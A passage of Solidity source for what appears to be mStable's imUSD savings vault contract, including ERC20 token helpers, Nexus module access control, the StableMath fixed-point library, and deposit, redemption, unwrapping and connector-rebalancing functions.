* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")
);
}
}
contract InitializableERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(
string memory nameArg,
string memory symbolArg,
uint8 decimalsArg
) internal {
_name = nameArg;
_symbol = symbolArg;
_decimals = decimalsArg;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract InitializableToken is ERC20, InitializableERC20Detailed {
/**
* @dev Initialization function for implementing contract
* @notice To avoid variable shadowing appended `Arg` after arguments name.
*/
function _initialize(string memory _nameArg, string memory _symbolArg) internal {
InitializableERC20Detailed._initialize(_nameArg, _symbolArg, 18);
}
}
contract ModuleKeys {
// Governance
// ===========
// keccak256("Governance");
bytes32 internal constant KEY_GOVERNANCE =
0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking");
bytes32 internal constant KEY_STAKING =
0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin");
bytes32 internal constant KEY_PROXY_ADMIN =
0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub");
bytes32 internal constant KEY_ORACLE_HUB =
0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager");
bytes32 internal constant KEY_MANAGER =
0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser");
bytes32 internal constant KEY_RECOLLATERALISER =
0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken");
bytes32 internal constant KEY_META_TOKEN =
0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager");
bytes32 internal constant KEY_SAVINGS_MANAGER =
0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
// keccak256("Liquidator");
bytes32 internal constant KEY_LIQUIDATOR =
0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4;
}
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
contract InitializableModule2 is ModuleKeys {
INexus public constant nexus = INexus(0xAFcE80b19A8cE13DEc0739a1aaB7A028d6845Eb3);
/**
* @dev Modifier to allow function calls only from the Governor.
*/
modifier onlyGovernor() {
require(msg.sender == _governor(), "Only governor can execute");
_;
}
/**
* @dev Modifier to allow function calls only from the Governance.
* Governance is either Governor address or Governance address.
*/
modifier onlyGovernance() {
require(
msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute"
);
_;
}
/**
* @dev Modifier to allow function calls only from the ProxyAdmin.
*/
modifier onlyProxyAdmin() {
require(msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute");
_;
}
/**
* @dev Modifier to allow function calls only from the Manager.
*/
modifier onlyManager() {
require(msg.sender == _manager(), "Only manager can execute");
_;
}
/**
* @dev Returns Governor address from the Nexus
* @return Address of Governor Contract
*/
function _governor() internal view returns (address) {
return nexus.governor();
}
/**
* @dev Returns Governance Module address from the Nexus
* @return Address of the Governance (Phase 2)
*/
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
/**
* @dev Return Staking Module address from the Nexus
* @return Address of the Staking Module contract
*/
function _staking() internal view returns (address) {
return nexus.getModule(KEY_STAKING);
}
/**
* @dev Return ProxyAdmin Module address from the Nexus
* @return Address of the ProxyAdmin Module contract
*/
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
/**
* @dev Return MetaToken Module address from the Nexus
* @return Address of the MetaToken Module contract
*/
function _metaToken() internal view returns (address) {
return nexus.getModule(KEY_META_TOKEN);
}
/**
* @dev Return OracleHub Module address from the Nexus
* @return Address of the OracleHub Module contract
*/
function _oracleHub() internal view returns (address) {
return nexus.getModule(KEY_ORACLE_HUB);
}
/**
* @dev Return Manager Module address from the Nexus
* @return Address of the Manager Module contract
*/
function _manager() internal view returns (address) {
return nexus.getModule(KEY_MANAGER);
}
/**
* @dev Return SavingsManager Module address from the Nexus
* @return Address of the SavingsManager Module contract
*/
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
/**
* @dev Return Recollateraliser Module address from the Nexus
* @return Address of the Recollateraliser Module contract (Phase 2)
*/
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
}
interface IConnector {
/**
* @notice Deposits the mAsset into the connector
* @param _amount Units of mAsset to receive and deposit
*/
function deposit(uint256 _amount) external;
/**
* @notice Withdraws a specific amount of mAsset from the connector
* @param _amount Units of mAsset to withdraw
*/
function withdraw(uint256 _amount) external;
/**
* @notice Withdraws all mAsset from the connector
*/
function withdrawAll() external;
/**
* @notice Returns the available balance in the connector. In connections
* where there is likely to be an initial dip in value due to conservative
* exchange rates (e.g. with Curves `get_virtual_price`), it should return
* max(deposited, balance) to avoid temporary negative yield. Any negative yield
* should be corrected during a withdrawal or over time.
* @return Balance of mAsset in the connector
*/
function checkBalance() external view returns (uint256);
}
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(
initializing || isConstructor() || !initialized,
"Contract instance has already been initialized"
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @notice Token Ratios are used when converting between units of bAsset, mAsset and MTA
* Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold)
* @dev bAsset ratio unit for use in exact calculations,
* where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit
*/
uint256 private constant RATIO_SCALE = 1e8;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Provides an interface to the ratio unit
* @return Ratio scale unit (1e8 or 1 * 10**8)
*/
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x) internal pure returns (uint256) {
return x.mul(FULL_SCALE);
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
/***************************************
RATIO FUNCS
****************************************/
/**
* @dev Multiplies and truncates a token ratio, essentially flooring the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand operand to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the ratio scale
*/
function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
/**
* @dev Multiplies and truncates a token ratio, rounding up the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand input to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the shared
* ratio scale, rounded up to the closest base unit.
*/
function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) {
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled = x.mul(ratio);
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil = scaled.add(RATIO_SCALE.sub(1));
// return 100..00.999e8 / 1e8 = 1e18
return ceil.div(RATIO_SCALE);
}
/**
* @dev Precisely divides two ratioed units, by first scaling the left hand operand
* i.e. How much bAsset is this mAsset worth?
* @param x Left hand operand in division
* @param ratio bAsset ratio
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
// e.g. 1e14 * 1e8 = 1e22
uint256 y = x.mul(RATIO_SCALE);
// return 1e22 / 1e12 = 1e10
return y.div(ratio);
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) {
return x > upperBound ? upperBound : x;
}
}
/**
* @title SavingsContract
* @author Stability Labs Pty. Ltd.
* @notice Savings contract uses the ever increasing "exchangeRate" to increase
* the value of the Savers "credits" (ERC20) relative to the amount of additional
* underlying collateral that has been deposited into this contract ("interest")
* @dev VERSION: 2.1
* DATE: 2021-11-25
*/
contract SavingsContract_imusd_mainnet_22 is
ISavingsContractV1,
ISavingsContractV4,
IERC4626Vault,
Initializable,
InitializableToken,
InitializableModule2
{
using SafeMath for uint256;
using StableMath for uint256;
// Core events for depositing and withdrawing
event ExchangeRateUpdated(uint256 newExchangeRate, uint256 interestCollected);
event SavingsDeposited(address indexed saver, uint256 savingsDeposited, uint256 creditsIssued);
event CreditsRedeemed(
address indexed redeemer,
uint256 creditsRedeemed,
uint256 savingsCredited
);
event AutomaticInterestCollectionSwitched(bool automationEnabled);
// Connector poking
event PokerUpdated(address poker);
event FractionUpdated(uint256 fraction);
event ConnectorUpdated(address connector);
event EmergencyUpdate();
event Poked(uint256 oldBalance, uint256 newBalance, uint256 interestDetected);
event PokedRaw();
// Tracking events
event Referral(address indexed referrer, address beneficiary, uint256 amount);
// Rate between 'savings credits' and underlying
// e.g. 1 credit (1e17) mulTruncate(exchangeRate) = underlying, starts at 10:1
// exchangeRate increases over time
uint256 private constant startingRate = 1e17;
uint256 public exchangeRate;
// Underlying asset is underlying
IERC20 public constant underlying = IERC20(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5);
bool private automateInterestCollection;
// Yield
// Poker is responsible for depositing/withdrawing from connector
address public poker;
// Last time a poke was made
uint256 public lastPoke;
// Last known balance of the connector
uint256 public lastBalance;
// Fraction of capital assigned to the connector (100% = 1e18)
uint256 public fraction;
// Address of the current connector (all IConnectors are mStable validated)
IConnector public connector;
// How often do we allow pokes
uint256 private constant POKE_CADENCE = 4 hours;
// Max APY generated on the capital in the connector
uint256 private constant MAX_APY = 4e18;
uint256 private constant SECONDS_IN_YEAR = 365 days;
// Proxy contract for easy redemption
address public constant unwrapper = 0xc1443Cb9ce81915fB914C270d74B0D57D1c87be0;
uint256 private constant MAX_INT256 = 2**256 - 1;
// Add these constants to bytecode at deploytime
function initialize(
address _poker,
string calldata _nameArg,
string calldata _symbolArg
) external initializer {
InitializableToken._initialize(_nameArg, _symbolArg);
require(_poker != address(0), "Invalid poker address");
poker = _poker;
fraction = 2e17;
automateInterestCollection = true;
exchangeRate = startingRate;
}
/** @dev Only the savings managaer (pulled from Nexus) can execute this */
modifier onlySavingsManager() {
require(msg.sender == _savingsManager(), "Only savings manager can execute");
_;
}
/***************************************
VIEW - E
****************************************/
/**
* @dev Returns the underlying balance of a given user
* @param _user Address of the user to check
* @return balance Units of underlying owned by the user
*/
function balanceOfUnderlying(address _user) external view returns (uint256 balance) {
(balance, ) = _creditsToUnderlying(balanceOf(_user));
}
/**
* @dev Converts a given underlying amount into credits
* @param _underlying Units of underlying
* @return credits Credit units (a.k.a imUSD)
*/
function underlyingToCredits(uint256 _underlying) external view returns (uint256 credits) {
(credits, ) = _underlyingToCredits(_underlying);
}
/**
* @dev Converts a given credit amount into underlying
* @param _credits Units of credits
* @return amount Corresponding underlying amount
*/
function creditsToUnderlying(uint256 _credits) external view returns (uint256 amount) {
(amount, ) = _creditsToUnderlying(_credits);
}
// Deprecated in favour of `balanceOf(address)`
// Maintained for backwards compatibility
// Returns the credit balance of a given user
function creditBalances(address _user) external view returns (uint256) {
return balanceOf(_user);
}
/***************************************
INTEREST
****************************************/
/**
* @dev Deposit interest (add to savings) and update exchange rate of contract.
* Exchange rate is calculated as the ratio between new savings q and credits:
* exchange rate = savings / credits
*
* @param _amount Units of underlying to add to the savings vault
*/
function depositInterest(uint256 _amount) external onlySavingsManager {
require(_amount > 0, "Must deposit something");
// Transfer the interest from sender to here
require(underlying.transferFrom(msg.sender, address(this), _amount), "Must receive tokens");
// Calc new exchange rate, protect against initialisation case
uint256 totalCredits = totalSupply();
if (totalCredits > 0) {
// new exchange rate is relationship between _totalCredits & totalSavings
// _totalCredits * exchangeRate = totalSavings
// exchangeRate = totalSavings/_totalCredits
(uint256 totalCollat, ) = _creditsToUnderlying(totalCredits);
uint256 newExchangeRate = _calcExchangeRate(totalCollat.add(_amount), totalCredits);
exchangeRate = newExchangeRate;
emit ExchangeRateUpdated(newExchangeRate, _amount);
}
}
/** @dev Enable or disable the automation of fee collection during deposit process */
function automateInterestCollectionFlag(bool _enabled) external onlyGovernor {
automateInterestCollection = _enabled;
emit AutomaticInterestCollectionSwitched(_enabled);
}
/***************************************
DEPOSIT
****************************************/
/**
* @dev During a migration period, allow savers to deposit underlying here before the interest has been redirected
* @param _underlying Units of underlying to deposit into savings vault
* @param _beneficiary Immediately transfer the imUSD token to this beneficiary address
* @return creditsIssued Units of credits (imUSD) issued
*/
function preDeposit(uint256 _underlying, address _beneficiary)
external
returns (uint256 creditsIssued)
{
require(exchangeRate == startingRate, "Can only use this method before streaming begins");
return _deposit(_underlying, _beneficiary, false);
}
/**
* @dev Deposit the senders savings to the vault, and credit them internally with "credits".
* Credit amount is calculated as a ratio of deposit amount and exchange rate:
* credits = underlying / exchangeRate
* We will first update the internal exchange rate by collecting any interest generated on the underlying.
* @param _underlying Units of underlying to deposit into savings vault
* @return creditsIssued Units of credits (imUSD) issued
*/
function depositSavings(uint256 _underlying) external returns (uint256 creditsIssued) {
return _deposit(_underlying, msg.sender, true);
}
/**
* @dev Deposit the senders savings to the vault, and credit them internally with "credits".
* Credit amount is calculated as a ratio of deposit amount and exchange rate:
* credits = underlying / exchangeRate
* We will first update the internal exchange rate by collecting any interest generated on the underlying.
* @param _underlying Units of underlying to deposit into savings vault
* @param _beneficiary Immediately transfer the imUSD token to this beneficiary address
* @return creditsIssued Units of credits (imUSD) issued
*/
function depositSavings(uint256 _underlying, address _beneficiary)
external
returns (uint256 creditsIssued)
{
return _deposit(_underlying, _beneficiary, true);
}
/**
* @dev Overloaded `depositSavings` method with an optional referrer address.
* @param _underlying Units of underlying to deposit into savings vault
* @param _beneficiary Immediately transfer the imUSD token to this beneficiary address
* @param _referrer Referrer address for this deposit
* @return creditsIssued Units of credits (imUSD) issued
*/
function depositSavings(
uint256 _underlying,
address _beneficiary,
address _referrer
) external returns (uint256 creditsIssued) {
emit Referral(_referrer, _beneficiary, _underlying);
return _deposit(_underlying, _beneficiary, true);
}
/**
* @dev Internally deposit the _underlying from the sender and credit the beneficiary with new imUSD
*/
function _deposit(
uint256 _underlying,
address _beneficiary,
bool _collectInterest
) internal returns (uint256 creditsIssued) {
creditsIssued = _transferAndMint(_underlying, _beneficiary, _collectInterest);
}
/***************************************
REDEEM
****************************************/
// Deprecated in favour of redeemCredits
// Maintaining backwards compatibility, this fn minimics the old redeem fn, in which
// credits are redeemed but the interest from the underlying is not collected.
function redeem(uint256 _credits) external returns (uint256 massetReturned) {
require(_credits > 0, "Must withdraw something");
(, uint256 payout) = _redeem(_credits, true, true);
// Collect recent interest generated by basket and update exchange rate
if (automateInterestCollection) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(underlying));
}
return payout;
}
/**
* @dev Redeem specific number of the senders "credits" in exchange for underlying.
* Payout amount is calculated as a ratio of credits and exchange rate:
* payout = credits * exchangeRate
* @param _credits Amount of credits to redeem
* @return massetReturned Units of underlying mAsset paid out
*/
function redeemCredits(uint256 _credits) external returns (uint256 massetReturned) {
require(_credits > 0, "Must withdraw something");
// Collect recent interest generated by basket and update exchange rate
if (automateInterestCollection) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(underlying));
}
(, uint256 payout) = _redeem(_credits, true, true);
return payout;
}
/**
* @dev Redeem credits into a specific amount of underlying.
* Credits needed to burn is calculated using:
* credits = underlying / exchangeRate
* @param _underlying Amount of underlying to redeem
* @return creditsBurned Units of credits burned from sender
*/
function redeemUnderlying(uint256 _underlying) external returns (uint256 creditsBurned) {
require(_underlying > 0, "Must withdraw something");
// Collect recent interest generated by basket and update exchange rate
if (automateInterestCollection) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(underlying));
}
// Ensure that the payout was sufficient
(uint256 credits, uint256 massetReturned) = _redeem(_underlying, false, true);
require(massetReturned == _underlying, "Invalid output");
return credits;
}
/**
* @notice Redeem credits into a specific amount of underlying, unwrap
* into a selected output asset, and send to a beneficiary
* Credits needed to burn is calculated using:
* credits = underlying / exchangeRate
* @param _amount Units to redeem (either underlying or credit amount).
* @param _isCreditAmt `true` if `amount` is in credits. eg imUSD. `false` if `amount` is in underlying. eg mUSD.
* @param _minAmountOut Minimum amount of `output` tokens to unwrap for. This is to the same decimal places as the `output` token.
* @param _output Asset to receive in exchange for the redeemed mAssets. This can be a bAsset or a fAsset. For example:
- bAssets (USDC, DAI, sUSD or USDT) or fAssets (GUSD, BUSD, alUSD, FEI or RAI) for mainnet imUSD Vault.
- bAssets (USDC, DAI or USDT) or fAsset FRAX for Polygon imUSD Vault.
- bAssets (WBTC, sBTC or renBTC) or fAssets (HBTC or TBTCV2) for mainnet imBTC Vault.
* @param _beneficiary Address to send `output` tokens to.
* @param _router mAsset address if the output is a bAsset. Feeder Pool address if the output is a fAsset.
* @param _isBassetOut `true` if `output` is a bAsset. `false` if `output` is a fAsset.
* @return creditsBurned Units of credits burned from sender. eg imUSD or imBTC.
* @return massetReturned Units of the underlying mAssets that were redeemed or swapped for the output tokens. eg mUSD or mBTC.
* @return outputQuantity Units of `output` tokens sent to the beneficiary.
*/
function redeemAndUnwrap(
uint256 _amount,
bool _isCreditAmt,
uint256 _minAmountOut,
address _output,
address _beneficiary,
address _router,
bool _isBassetOut
)
external
returns (
uint256 creditsBurned,
uint256 massetReturned,
uint256 outputQuantity
)
{
require(_amount > 0, "Must withdraw something");
require(_output != address(0), "Output address is zero");
require(_beneficiary != address(0), "Beneficiary address is zero");
require(_router != address(0), "Router address is zero");
// Collect recent interest generated by basket and update exchange rate
if (automateInterestCollection) {
ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(underlying));
}
// Ensure that the payout was sufficient
(creditsBurned, massetReturned) = _redeem(_amount, _isCreditAmt, false);
require(
_isCreditAmt ? creditsBurned == _amount : massetReturned == _amount,
"Invalid output"
);
// Approve wrapper to spend contract's underlying; just for this tx
underlying.approve(unwrapper, massetReturned);
// Unwrap the underlying into `output` and transfer to `beneficiary`
outputQuantity = IUnwrapper(unwrapper).unwrapAndSend(
_isBassetOut,
_router,
address(underlying),
_output,
massetReturned,
_minAmountOut,
_beneficiary
);
}
/**
* @dev Internally burn the credits and send the underlying to msg.sender
*/
function _redeem(
uint256 _amt,
bool _isCreditAmt,
bool _transferUnderlying
) internal returns (uint256 creditsBurned, uint256 massetReturned) {
// Centralise credit <> underlying calcs and minimise SLOAD count
uint256 credits_;
uint256 underlying_;
uint256 exchangeRate_;
// If the input is a credit amt, then calculate underlying payout and cache the exchangeRate
if (_isCreditAmt) {
credits_ = _amt;
(underlying_, exchangeRate_) = _creditsToUnderlying(_amt);
}
// If the input is in underlying, then calculate credits needed to burn
else {
underlying_ = _amt;
(credits_, exchangeRate_) = _underlyingToCredits(_amt);
}
_burnTransfer(
underlying_,
credits_,
msg.sender,
msg.sender,
exchangeRate_,
_transferUnderlying
);
emit CreditsRedeemed(msg.sender, credits_, underlying_);
return (credits_, underlying_);
}
struct ConnectorStatus {
// Limit is the max amount of units allowed in the connector
uint256 limit;
// Derived balance of the connector
uint256 inConnector;
}
/**
* @dev Derives the units of collateral held in the connector
* @param _data Struct containing data on balances
* @param _exchangeRate Current system exchange rate
* @return status Contains max amount of assets allowed in connector
*/
function _getConnectorStatus(CachedData memory _data, uint256 _exchangeRate)
internal
pure
returns (ConnectorStatus memory)
{
// Total units of underlying collateralised
uint256 totalCollat = _data.totalCredits.mulTruncate(_exchangeRate);
// Max amount of underlying that can be held in the connector
uint256 limit = totalCollat.mulTruncate(_data.fraction.add(2e17));
// Derives amount of underlying present in the connector
uint256 inConnector = _data.rawBalance >= totalCollat
? 0
: totalCollat.sub(_data.rawBalance);
return ConnectorStatus(limit, inConnector);
}
/***************************************
YIELD - E
****************************************/
/** @dev Modifier allowing only the designated poker to execute the fn */
modifier onlyPoker() {
require(msg.sender == poker, "Only poker can execute");
_;
}
/**
* @dev External poke function allows for the redistribution of collateral between here and the
* current connector, setting the ratio back to the defined optimal.
*/
function poke() external onlyPoker {
CachedData memory cachedData = _cacheData();
_poke(cachedData, false);
}
/**
* @dev Governance action to set the address of a new poker
* @param _newPoker Address of the new poker
*/
function setPoker(address _newPoker) external onlyGovernor {
require(_newPoker != address(0) && _newPoker != poker, "Invalid poker");
poker = _newPoker;
emit PokerUpdated(_newPoker);
}
/**
* @dev Governance action to set the percentage of assets that should be held
* in the connector.
* @param _fraction Percentage of assets that should be held there (where 20% == 2e17)
*/
function setFraction(uint256 _fraction) external onlyGovernor {
require(_fraction <= 5e17, "Fraction must be <= 50%");
fraction = _fraction;
CachedData memory cachedData = _cacheData();
_poke(cachedData, true);
emit FractionUpdated(_fraction);
}
/**
* @dev Governance action to set the address of a new connector, and move funds (if any) across.
* @param _newConnector Address of the new connector
*/
function setConnector(address _newConnector) external onlyGovernor {
// Withdraw all from previous by setting target = 0
CachedData memory cachedData = _cacheData();
cachedData.fraction = 0;
_poke(cachedData, true);
// Set new connector
CachedData memory cachedDataNew = _cacheData();
connector = IConnector(_newConnector);
_poke(cachedDataNew, true);
emit ConnectorUpdated(_newConnector);
}
/**
* @dev Governance action to perform an emergency withdraw of the assets in the connector,
* should it be the case that some or all of the liquidity is trapped in. This causes the total
* collateral in the system to go down, causing a hard refresh.
*/
function emergencyWithdraw(uint256 _withdrawAmount) external onlyGovernor {
// withdraw _withdrawAmount from connection
connector.withdraw(_withdrawAmount);
// reset the connector
connector = IConnector(address(0));
emit ConnectorUpdated(address(0));
// set fraction to 0
fraction = 0;
emit FractionUpdated(0);
// check total collateralisation of credits
CachedData memory data = _cacheData();
// use rawBalance as the remaining liquidity in the connector is now written off
_refreshExchangeRate(data.rawBalance, data.totalCredits, true);
emit EmergencyUpdate();
}
/***************************************
YIELD - I
****************************************/
/** @dev Internal poke function to keep the balance between connector and raw balance healthy */
function _poke(CachedData memory _data, bool _ignoreCadence) internal {
require(_data.totalCredits > 0, "Must have something to poke");
// 1. Verify that poke cadence is valid, unless this is a manual action by governance
